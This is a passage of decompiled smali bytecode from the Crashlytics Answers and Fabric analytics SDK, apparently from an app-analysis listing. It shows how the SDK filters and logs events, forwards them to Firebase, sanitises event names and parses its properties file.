                          56invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          58const-string v7, "Predefined events tracking disabled - skipping event: "
                          60invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          61move-result-object v6
                          63invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          64move-result-object v6
                          66invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          67move-result-object v6
                          69invoke-interface {v4, v5, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          70goto/16 :goto_30
                          71cond_5c:
                          72iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->eventFilter:Lcom/crashlytics/android/answers/EventFilter;
                          74invoke-interface {v4, v1}, Lcom/crashlytics/android/answers/EventFilter;->skipEvent(Lcom/crashlytics/android/answers/SessionEvent;)Z
                          75move-result v4
                          76if-eqz v4, :cond_81
                          78invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          79move-result-object v4
                          81const-string v5, "Answers"
                          82new-instance v6, Ljava/lang/StringBuilder;
                          84invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          86const-string v7, "Skipping filtered event: "
                          88invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          89move-result-object v6
                          91invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          92move-result-object v6
                          94invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          95move-result-object v6
                          97invoke-interface {v4, v5, v6}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          98goto/16 :goto_30
                          99cond_81:
                          100iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          102invoke-virtual {v4, v1}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->writeEvent(Ljava/lang/Object;)V
                          103goto_86:
                          104invoke-virtual {p0}, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->scheduleTimeBasedRollOverIfNeeded()V
                          106sget-object v4, Lcom/crashlytics/android/answers/SessionEvent$Type;->CUSTOM:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          108iget-object v5, v1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          110invoke-virtual {v4, v5}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          111move-result v4
                          112if-nez v4, :cond_9d
                          114sget-object v4, Lcom/crashlytics/android/answers/SessionEvent$Type;->PREDEFINED:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          116iget-object v5, v1, Lcom/crashlytics/android/answers/SessionEvent;->type:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          118invoke-virtual {v4, v5}, Lcom/crashlytics/android/answers/SessionEvent$Type;->equals(Ljava/lang/Object;)Z
                          119move-result v4
                          120if-eqz v4, :cond_f6
                          121cond_9d: const/4 v2, 0x1
                          122goto_9e:
                          123const-string v4, "purchase"
                          125iget-object v5, v1, Lcom/crashlytics/android/answers/SessionEvent;->predefinedType:Ljava/lang/String;
                          127invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          128move-result v3
                          129iget-boolean v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->forwardToFirebaseAnalyticsEnabled:Z
                          130if-eqz v4, :cond_30
                          131if-eqz v2, :cond_30
                          132if-eqz v3, :cond_b2
                          133iget-boolean v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->includePurchaseEventsInForwardedEvents:Z
                          134if-eqz v4, :cond_30
                          135try_start_b2:
                          136iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->firebaseAnalyticsApiAdapter:Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          138invoke-virtual {v4, v1}, Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;->processEvent(Lcom/crashlytics/android/answers/SessionEvent;)V
                          139try_end_b7: goto/16 :goto_30
                          140catch_b9: move-exception v0
                          142invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          143move-result-object v4
                          145const-string v5, "Answers"
                          146new-instance v6, Ljava/lang/StringBuilder;
                          148invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          150const-string v7, "Failed to map event to Firebase: "
                          152invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          153move-result-object v6
                          155invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          156move-result-object v6
                          158invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          159move-result-object v6
                          161invoke-interface {v4, v5, v6, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          162goto/16 :goto_30
                          163catch_d8: move-exception v0
                          165invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          166move-result-object v4
                          168const-string v5, "Answers"
                          169new-instance v6, Ljava/lang/StringBuilder;
                          171invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                          173const-string v7, "Failed to write event: "
                          175invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          176move-result-object v6
                          178invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          179move-result-object v6
                          181invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          182move-result-object v6
                          184invoke-interface {v4, v5, v6, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          185goto/16 :goto_86
                          186cond_f6: const/4 v2, 0x0
                          187goto/16 :goto_9e
                          APIs
                          • java.util.Arrays.asList
                          • java.util.HashSet.<init>
                          Strings
                          • app_clear_data
                          • app_exception
                          • app_remove
                          • app_upgrade
                          • app_install
                          • app_update
                          • firebase_campaign
                          • error
                          • first_open
                          • first_visit
                          • in_app_purchase
                          • notification_dismiss
                          • notification_foreground
                          • notification_open
                          • notification_receive
                          • os_update
                          • session_start
                          • user_engagement
                          • ad_exposure
                          • adunit_exposure
                          • ad_query
                          • ad_activeview
                          • ad_impression
                          • ad_click
                          • screen_view
                          • firebase_extra_parameter
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/util/HashSet;
                          2const/16 v1, 0x1a
                          3new-array v1, v1, [Ljava/lang/String;
                          4const/4 v2, 0x0
                          6const-string v3, "app_clear_data"
                          7aput-object v3, v1, v2
                          8const/4 v2, 0x1
                          10const-string v3, "app_exception"
                          11aput-object v3, v1, v2
                          12const/4 v2, 0x2
                          14const-string v3, "app_remove"
                          15aput-object v3, v1, v2
                          16const/4 v2, 0x3
                          18const-string v3, "app_upgrade"
                          19aput-object v3, v1, v2
                          20const/4 v2, 0x4
                          22const-string v3, "app_install"
                          23aput-object v3, v1, v2
                          24const/4 v2, 0x5
                          26const-string v3, "app_update"
                          27aput-object v3, v1, v2
                          28const/4 v2, 0x6
                          30const-string v3, "firebase_campaign"
                          31aput-object v3, v1, v2
                          32const/4 v2, 0x7
                          34const-string v3, "error"
                          35aput-object v3, v1, v2
                          36const/16 v2, 0x8
                          38const-string v3, "first_open"
                          39aput-object v3, v1, v2
                          40const/16 v2, 0x9
                          42const-string v3, "first_visit"
                          43aput-object v3, v1, v2
                          44const/16 v2, 0xa
                          46const-string v3, "in_app_purchase"
                          47aput-object v3, v1, v2
                          48const/16 v2, 0xb
                          50const-string v3, "notification_dismiss"
                          51aput-object v3, v1, v2
                          52const/16 v2, 0xc
                          54const-string v3, "notification_foreground"
                          55aput-object v3, v1, v2
                          56const/16 v2, 0xd
                          58const-string v3, "notification_open"
                          59aput-object v3, v1, v2
                          60const/16 v2, 0xe
                          62const-string v3, "notification_receive"
                          63aput-object v3, v1, v2
                          64const/16 v2, 0xf
                          66const-string v3, "os_update"
                          67aput-object v3, v1, v2
                          68const/16 v2, 0x10
                          70const-string v3, "session_start"
                          71aput-object v3, v1, v2
                          72const/16 v2, 0x11
                          74const-string v3, "user_engagement"
                          75aput-object v3, v1, v2
                          76const/16 v2, 0x12
                          78const-string v3, "ad_exposure"
                          79aput-object v3, v1, v2
                          80const/16 v2, 0x13
                          82const-string v3, "adunit_exposure"
                          83aput-object v3, v1, v2
                          84const/16 v2, 0x14
                          86const-string v3, "ad_query"
                          87aput-object v3, v1, v2
                          88const/16 v2, 0x15
                          90const-string v3, "ad_activeview"
                          91aput-object v3, v1, v2
                          92const/16 v2, 0x16
                          94const-string v3, "ad_impression"
                          95aput-object v3, v1, v2
                          96const/16 v2, 0x17
                          98const-string v3, "ad_click"
                          99aput-object v3, v1, v2
                          100const/16 v2, 0x18
                          102const-string v3, "screen_view"
                          103aput-object v3, v1, v2
                          104const/16 v2, 0x19
                          106const-string v3, "firebase_extra_parameter"
                          107aput-object v3, v1, v2
                          109invoke-static {v1}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                          110move-result-object v1
                          112invoke-direct {v0, v1}, Ljava/util/HashSet;-><init>(Ljava/util/Collection;)V
                          113sput-object v0, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->EVENT_NAMES:Ljava/util/Set;
                          114return-void
                          Cross References
                          APIs
                          • java.util.zip.ZipFile.getInputStream
                          • java.util.Properties.<init>
                          • java.util.Properties.load
                          • java.util.Properties.getProperty
                          • android.text.TextUtils.isEmpty
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.util.zip.ZipEntry.getName
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.IllegalStateException.<init>
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.util.zip.ZipEntry.getName
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • fabric-identifier
                          • fabric-version
                          • fabric-build-type
                          • Invalid format of fabric file,
                          • Fabric
                          • Error when parsing fabric properties
                          Position Instruction Meta Information
                          0.param p1, "fabricFile" # Ljava/util/zip/ZipEntry;
                          1.param p2, "apk" # Ljava/util/zip/ZipFile;
                          2.prologue
                          3const/4 v3, 0x0
                          4try_start_1:
                          5invoke-virtual {p2, p1}, Ljava/util/zip/ZipFile;->getInputStream(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;
                          6move-result-object v3
                          7new-instance v4, Ljava/util/Properties;
                          9invoke-direct {v4}, Ljava/util/Properties;-><init>()V
                          11invoke-virtual {v4, v3}, Ljava/util/Properties;->load(Ljava/io/InputStream;)V
                          13const-string v6, "fabric-identifier"
                          15invoke-virtual {v4, v6}, Ljava/util/Properties;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                          16move-result-object v1
                          18const-string v6, "fabric-version"
                          20invoke-virtual {v4, v6}, Ljava/util/Properties;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                          21move-result-object v5
                          23const-string v6, "fabric-build-type"
                          25invoke-virtual {v4, v6}, Ljava/util/Properties;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                          26move-result-object v0
                          28invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          29move-result v6
                          30if-nez v6, :cond_2b
                          32invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                          33move-result v6
                          34if-eqz v6, :cond_6e
                          35cond_2b: new-instance v6, Ljava/lang/IllegalStateException;
                          36new-instance v7, Ljava/lang/StringBuilder;
                          38invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                          40const-string v8, "Invalid format of fabric file,"
                          42invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          43move-result-object v7
                          45invoke-virtual {p1}, Ljava/util/zip/ZipEntry;->getName()Ljava/lang/String;
                          46move-result-object v8
                          48invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          49move-result-object v7
                          51invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          52move-result-object v7
                          54invoke-direct {v6, v7}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          55throw v6
                          56try_end_48: move-exception v2
                          57try_start_49:
                          58invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          59move-result-object v6
                          61const-string v7, "Fabric"
                          62new-instance v8, Ljava/lang/StringBuilder;
                          64invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                          66const-string v9, "Error when parsing fabric properties "
                          68invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          69move-result-object v8
                          71invoke-virtual {p1}, Ljava/util/zip/ZipEntry;->getName()Ljava/lang/String;
                          72move-result-object v9
                          74invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          75move-result-object v8
                          77invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          78move-result-object v8
                          80invoke-interface {v6, v7, v8, v2}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          81try_end_69:
                          82invoke-static {v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeQuietly(Ljava/io/Closeable;)V
                          83const/4 v6, 0x0
                          84goto_6d: return-object v6
                          85try_start_6e: new-instance v6, Lio/fabric/sdk/android/KitInfo;
                          87invoke-direct {v6, v1, v5, v0}, Lio/fabric/sdk/android/KitInfo;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                          88try_end_73:
                          89invoke-static {v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeQuietly(Ljava/io/Closeable;)V
                          90goto/16 :goto_6d
                          91catchall_77: move-exception v6
                          93invoke-static {v3}, Lio/fabric/sdk/android/services/common/CommonUtils;->closeQuietly(Ljava/io/Closeable;)V
                          94throw v6
                          Cross References
                          APIs
                          • java.lang.String.length
                          • java.util.Set.contains
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.String.replaceAll
                          • java.lang.String.startsWith
                          • java.lang.String.charAt
                          • java.lang.Character.isLetter
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.String.length
                          • java.lang.String.substring
                          Strings
                          • fabric_unnamed_event
                          • fabric_
                          • [^\\p{Alnum}_]+
                          • _
                          • ga_
                          • google_
                          • firebase_
                          Position Instruction Meta Information
                          0.param p1, "eventName" # Ljava/lang/String;
                          1.prologue
                          2const/16 v3, 0x28
                          3const/4 v2, 0x0
                          4if-eqz p1, :cond_b
                          6invoke-virtual {p1}, Ljava/lang/String;->length()I
                          7move-result v0
                          8if-nez v0, :cond_e
                          9cond_b:
                          10const-string v0, "fabric_unnamed_event"
                          11goto_d: return-object v0
                          12cond_e:
                          13sget-object v0, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->EVENT_NAMES:Ljava/util/Set;
                          15invoke-interface {v0, p1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                          16move-result v0
                          17if-eqz v0, :cond_2a
                          18new-instance v0, Ljava/lang/StringBuilder;
                          20invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          22const-string v1, "fabric_"
                          24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          25move-result-object v0
                          27invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          28move-result-object v0
                          30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          31move-result-object v0
                          32goto/16 :goto_d
                          33cond_2a:
                          34const-string v0, "[^\\p{Alnum}_]+"
                          36const-string v1, "_"
                          38invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                          39move-result-object p1
                          41const-string v0, "ga_"
                          43invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          44move-result v0
                          45if-nez v0, :cond_54
                          47const-string v0, "google_"
                          49invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          50move-result v0
                          51if-nez v0, :cond_54
                          53const-string v0, "firebase_"
                          55invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          56move-result v0
                          57if-nez v0, :cond_54
                          59invoke-virtual {p1, v2}, Ljava/lang/String;->charAt(I)C
                          60move-result v0
                          62invoke-static {v0}, Ljava/lang/Character;->isLetter(C)Z
                          63move-result v0
                          64if-nez v0, :cond_67
                          65cond_54: new-instance v0, Ljava/lang/StringBuilder;
                          67invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          69const-string v1, "fabric_"
                          71invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          72move-result-object v0
                          74invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          75move-result-object v0
                          77invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          78move-result-object p1
                          79cond_67:
                          80invoke-virtual {p1}, Ljava/lang/String;->length()I
                          81move-result v0
                          82if-le v0, v3, :cond_71
                          84invoke-virtual {p1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          85move-result-object p1
                          86cond_71: move-object v0, p1
                          87goto/16 :goto_d
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Answers
                          • Firebase analytics forwarding
                          • enabled
                          • Firebase analytics including purchase events
                          • Custom event tracking
                          • Predefined event tracking
                          • Event sampling enabled
                          • disabled
                          Position Instruction Meta Information
                          0.param p1, "analyticsSettingsData" # Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;
                          1.param p2, "protocolAndHostOverride" # Ljava/lang/String;
                          2.prologue
                          3new-instance v0, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;
                          5iget-object v1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->kit:Lio/fabric/sdk/android/Kit;
                          7iget-object v3, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->analyticsURL:Ljava/lang/String;
                          9iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->httpRequestFactory:Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          11iget-object v2, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->apiKey:Lio/fabric/sdk/android/services/common/ApiKey;
                          13iget-object v5, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          15invoke-virtual {v2, v5}, Lio/fabric/sdk/android/services/common/ApiKey;->getValue(Landroid/content/Context;)Ljava/lang/String;
                          16move-result-object v5
                          17move-object v2, p2
                          19invoke-direct/range {v0 .. v5}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;-><init>(Lio/fabric/sdk/android/Kit;Ljava/lang/String;Ljava/lang/String;Lio/fabric/sdk/android/services/network/HttpRequestFactory;Ljava/lang/String;)V
                          21invoke-static {v0}, Lcom/crashlytics/android/answers/AnswersRetryFilesSender;->build(Lcom/crashlytics/android/answers/SessionAnalyticsFilesSender;)Lcom/crashlytics/android/answers/AnswersRetryFilesSender;
                          22move-result-object v0
                          23iput-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesSender:Lio/fabric/sdk/android/services/events/FilesSender;
                          25iget-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          27invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->setAnalyticsSettingsData(Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;)V
                          28iget-boolean v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->forwardToFirebaseAnalytics:Z
                          29iput-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->forwardToFirebaseAnalyticsEnabled:Z
                          30iget-boolean v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->includePurchaseEventsInForwardedEvents:Z
                          31iput-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->includePurchaseEventsInForwardedEvents:Z
                          33invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          34move-result-object v1
                          36const-string v2, "Answers"
                          37new-instance v0, Ljava/lang/StringBuilder;
                          39invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          41const-string v3, "Firebase analytics forwarding "
                          43invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          44move-result-object v3
                          45iget-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->forwardToFirebaseAnalyticsEnabled:Z
                          46if-eqz v0, :cond_dd
                          48const-string v0, "enabled"
                          49goto_3e:
                          50invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          51move-result-object v0
                          53invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          54move-result-object v0
                          56invoke-interface {v1, v2, v0}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          58invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          59move-result-object v1
                          61const-string v2, "Answers"
                          62new-instance v0, Ljava/lang/StringBuilder;
                          64invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          66const-string v3, "Firebase analytics including purchase events "
                          68invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          69move-result-object v3
                          70iget-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->includePurchaseEventsInForwardedEvents:Z
                          71if-eqz v0, :cond_e1
                          73const-string v0, "enabled"
                          74goto_60:
                          75invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          76move-result-object v0
                          78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          79move-result-object v0
                          81invoke-interface {v1, v2, v0}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          82iget-boolean v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->trackCustomEvents:Z
                          83iput-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->customEventsEnabled:Z
                          85invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          86move-result-object v1
                          88const-string v2, "Answers"
                          89new-instance v0, Ljava/lang/StringBuilder;
                          91invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          93const-string v3, "Custom event tracking "
                          95invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          96move-result-object v3
                          97iget-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->customEventsEnabled:Z
                          98if-eqz v0, :cond_e5
                          100const-string v0, "enabled"
                          101goto_86:
                          102invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          103move-result-object v0
                          105invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          106move-result-object v0
                          108invoke-interface {v1, v2, v0}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          109iget-boolean v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->trackPredefinedEvents:Z
                          110iput-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->predefinedEventsEnabled:Z
                          112invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          113move-result-object v1
                          115const-string v2, "Answers"
                          116new-instance v0, Ljava/lang/StringBuilder;
                          118invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          120const-string v3, "Predefined event tracking "
                          122invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          123move-result-object v3
                          124iget-boolean v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->predefinedEventsEnabled:Z
                          125if-eqz v0, :cond_e8
                          127const-string v0, "enabled"
                          128goto_ac:
                          129invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          130move-result-object v0
                          132invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          133move-result-object v0
                          135invoke-interface {v1, v2, v0}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          136iget v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->samplingRate:I
                          137const/4 v1, 0x1
                          138if-le v0, v1, :cond_d0
                          140invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          141move-result-object v0
                          143const-string v1, "Answers"
                          145const-string v2, "Event sampling enabled"
                          147invoke-interface {v0, v1, v2}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          148new-instance v0, Lcom/crashlytics/android/answers/SamplingEventFilter;
                          149iget v1, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->samplingRate:I
                          151invoke-direct {v0, v1}, Lcom/crashlytics/android/answers/SamplingEventFilter;-><init>(I)V
                          152iput-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->eventFilter:Lcom/crashlytics/android/answers/EventFilter;
                          153cond_d0: iget v0, p1, Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;->flushIntervalSeconds:I
                          154iput v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverIntervalSeconds:I
                          155const-wide/16 v0, 0x0
                          156iget v2, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverIntervalSeconds:I
                          157int-to-long v2, v2
                          159invoke-virtual {p0, v0, v1, v2, v3}, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->scheduleTimeBasedFileRollOver(JJ)V
                          160return-void
                          161cond_dd:
                          162const-string v0, "disabled"
                          163goto/16 :goto_3e
                          164cond_e1:
                          165const-string v0, "disabled"
                          166goto/16 :goto_60
                          167cond_e5:
                          168const-string v0, "disabled"
                          169goto/16 :goto_86
                          170cond_e8:
                          171const-string v0, "disabled"
                          172goto/16 :goto_ac
                          Cross References
                          APIs
                          • java.util.ArrayList.<init>
                          • java.util.Collections.sort
                          • java.util.List.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.util.List.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • Fabric
                          • Initializing
                          • [Version:
                          • ], with the following kits:\n
                          • ]\n
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p0, p1}, Lio/fabric/sdk/android/Fabric;->getKitsFinderFuture(Landroid/content/Context;)Ljava/util/concurrent/Future;
                          4move-result-object v1
                          6invoke-virtual {p0}, Lio/fabric/sdk/android/Fabric;->getKits()Ljava/util/Collection;
                          7move-result-object v5
                          8new-instance v4, Lio/fabric/sdk/android/Onboarding;
